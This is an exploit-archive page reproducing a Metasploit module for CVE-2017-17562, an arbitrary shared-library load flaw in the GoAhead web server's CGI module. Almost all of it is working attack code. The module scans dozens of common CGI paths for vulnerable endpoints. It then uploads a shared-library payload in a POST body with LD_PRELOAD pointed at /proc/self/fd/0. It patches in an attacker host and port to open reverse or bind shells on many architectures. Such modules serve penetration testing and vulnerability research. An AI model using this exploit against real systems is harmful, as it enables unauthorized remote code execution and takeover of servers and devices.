GoAhead Web Server LD_PRELOAD Arbitrary Module Load



EKU-ID: 7296 CVE: 2017-17562 OSVDB-ID:
Author: h00die Published: 2018-01-24 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in GoAhead web server versions between 2.5 and that have the CGI module
        enabled.
      },
      'Author'         =>
        [
          'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
          'h00die',                                  # Metasploit Module
          'hdm',                                     # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-17562' ],
          [ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
        ],
      'Payload'         =>
        {
          'Space'       => 5000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      'Targets'         =>
        [

          [ 'Automatic (Reverse Shell)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_reverse_stub',
                  'ConnectionType' => 'reverse',
                }
              }
            }
          ],

          [ 'Automatic (Bind Shell)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_bind_stub',
                  'ConnectionType' => 'bind'
                }
              }
            }
          ],

          [ 'Automatic (Command)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
          ],
          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
          [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux ARM64',      { 'Arch' => ARCH_AARCH64 } ],
          [ 'Linux MIPS',       { 'Arch' => ARCH_MIPS } ],
          [ 'Linux MIPSLE',     { 'Arch' => ARCH_MIPSLE } ],
          [ 'Linux MIPS64',     { 'Arch' => ARCH_MIPS64 } ],
          [ 'Linux MIPS64LE',   { 'Arch' => ARCH_MIPS64LE } ],

          # PowerPC stubs are currently over the 16384 maximum POST size
          # [ 'Linux PPC',        { 'Arch' => ARCH_PPC } ],
          # [ 'Linux PPC64',      { 'Arch' => ARCH_PPC64 } ],
          # [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],

          [ 'Linux SPARC',      { 'Arch' => ARCH_SPARC } ],
          [ 'Linux SPARC64',    { 'Arch' => ARCH_SPARC64 } ],
          [ 'Linux s390x',      { 'Arch' => ARCH_ZARCH } ],
        ],
      'DefaultOptions' =>
        {
          'SHELL'      => '/bin/sh',
        },
      'Privileged'      => false,
      'DisclosureDate'  => 'Dec 18 2017', # June 9th, technically, via github commit.
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
      ])
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  def setup
    super
    @@payload_arch_mappings = {
        ARCH_X86      => [ 'x86' ],
        ARCH_X64      => [ 'x86_64' ],
        ARCH_MIPS     => [ 'mips' ],
        ARCH_MIPSLE   => [ 'mipsel' ],
        ARCH_MIPSBE   => [ 'mips' ],
        ARCH_MIPS64   => [ 'mips64' ],
        ARCH_MIPS64LE => [ 'mips64el' ],

        # PowerPC stubs are currently over the 16384 maximum POST size
        # ARCH_PPC      => [ 'powerpc' ],
        # ARCH_PPC64    => [ 'powerpc64' ],
        # ARCH_PPC64LE  => [ 'powerpc64le' ],

        ARCH_SPARC    => [ 'sparc' ],
        ARCH_SPARC64  => [ 'sparc64' ],
        ARCH_ARMLE    => [ 'armel', 'armhf' ],
        ARCH_AARCH64  => [ 'aarch64' ],
        ARCH_ZARCH    => [ 's390x' ],
    }

    # Architectures we don't offically support but can shell anyways with interact
    @@payload_arch_bonus = %W{
      mips64el sparc64 s390x
    }

    # General platforms (OS + C library)
    @@payload_platforms = %W{
      linux-glibc
    }
  end

  # Use fancy payload wrappers to make exploitation a joyously lazy exercise
  def cycle_possible_payloads
    template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
    template_list = []
    template_type = nil
    template_arch = nil

    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)

      # Default to a system() template
      template_type = 'system'

      # Handle reverse_tcp() templates
      if target['ReverseStub']
        template_type = 'reverse'
      end

      # Handle reverse_tcp() templates
      if target['BindStub']
        template_type = 'bind'
      end

      all_architectures = @@payload_arch_mappings.values.flatten.uniq

      # Prioritize the most common architectures first
      %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
        template_list << all_architectures.delete(t_arch)
      end

      # Queue up the rest for later
      all_architectures.each do |t_arch|
        template_list << t_arch
      end

    # Handle the specific architecture targets next
    else
      template_type = 'shellcode'
      target.arch.each do |t_name|
        @@payload_arch_mappings[t_name].each do |t_arch|
          template_list << t_arch
        end
      end
    end

    # Remove any duplicates that may have snuck in
    template_list.uniq!

    # Cycle through each top-level platform we know about
    @@payload_platforms.each do |t_plat|

      # Cycle through each template and yield
      template_list.each do |t_arch|


        wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
        unless ::File.exist?(wrapper_path)
          raise RuntimeError.new("Missing executable template at #{wrapper_path}")
        end

        data = ''
        ::File.open(wrapper_path, "rb") do |fd|
          data = Rex::Text.ungzip(fd.read)
        end

        pidx = data.index('PAYLOAD')
        if pidx
          data[pidx, payload.encoded.length] = payload.encoded
        end

        if %W{reverse bind}.include?(template_type)
          pidx = data.index("55555")
          if pidx
            data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
          end
        end

        if 'reverse' == template_type
          pidx = data.index("000.000.000.000")
          if pidx
            data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
          end
        end

        vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
        yield(data)

        # Introduce a small delay for the payload to stage
        Rex.sleep(0.50)

        # Short-circuit once we have a session
        return if session_created?
      end
    end
  end

  # Start the shell train
  def exploit
    # Find a valid CGI target
    target_uri = find_target_cgi
    return unless target_uri

    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|

      # Trigger the vulnerability and run the payload
      trigger_payload(target_uri, wrapped_payload)
      return if session_created?
    end
  end

  # Determine whether the target is exploitable
  def check
    # Find a valid CGI target
    target_uri = find_target_cgi
    unless target_uri
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Vulnerable
  end

  # Upload and LD_PRELOAD execute the shared library payload
  def trigger_payload(target_uri, wrapped_payload)

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri),
      'vars_get' => {
        'LD_PRELOAD' => '/proc/self/fd/0'
      },
      'data' => wrapped_payload
    })

    nil
  end

  # Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
  def find_target_cgi

    target_uris = []
    common_dirs = %W^
/
/cgi-bin/
/cgi/
^
    common_exts = ["", ".cgi"]
    common_cgis = %W^
admin
apply
non-CA-rev
checkCookie
check_user
chn/liveView
cht/liveView
cnswebserver
config
configure/set_link_neg
configure/swports_adjust
eng/liveView
firmware
getCheckCode
get_status
getmac
getparam
guest/Login
home
htmlmgr
index
index/login
jscript
kvm
liveView
login
login.asp
login/login
login/login-page
login_mgr
luci
main
main-cgi
manage/login
menu
mlogin
netbinary
nobody/Captcha
nobody/VerifyCode
normal_userLogin
otgw
page
rulectl
service
set_new_config
sl_webviewer
ssi
status
sysconf
systemutil
t/out
top
unauth
upload
variable
wanstatu
webcm
webmain
webproc
webscr
webviewLogin
webviewLogin_m64
webviewer
welcome
cgitest
^

    if datastore['TARGET_URI'].to_s.length > 0
      target_uris << datastore['TARGET_URI']
    end

    common_dirs.each do |cgi_dir|
      common_cgis.each do |cgi_path|
        common_exts.each do |cgi_ext|
          target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
        end
      end
    end

    print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")

    target_uris.each do |uri|
      if is_cgi_exploitable?(uri)
        print_good("Exploitable CGI located at #{uri}")
        return uri
      end
    end

    print_error("No valid CGI endpoints identified")
    return
  end

  # Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
  def is_cgi_exploitable?(uri)
    res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})

    if res
      vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
    else
      vprint_status("Request for #{uri} did not return a response")
    end

    !!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
  end

  # This sometimes determines if the CGI module is enabled, but doesn't seem
  # to return the error to the client in newer versions. Unused for now.
  def is_cgi_enabled?
    return true
    res = send_request_cgi({'uri' => "/cgi-bin"})
    !!(res && res.body && res.body.to_s.include?("Missing CGI name"))
  end
end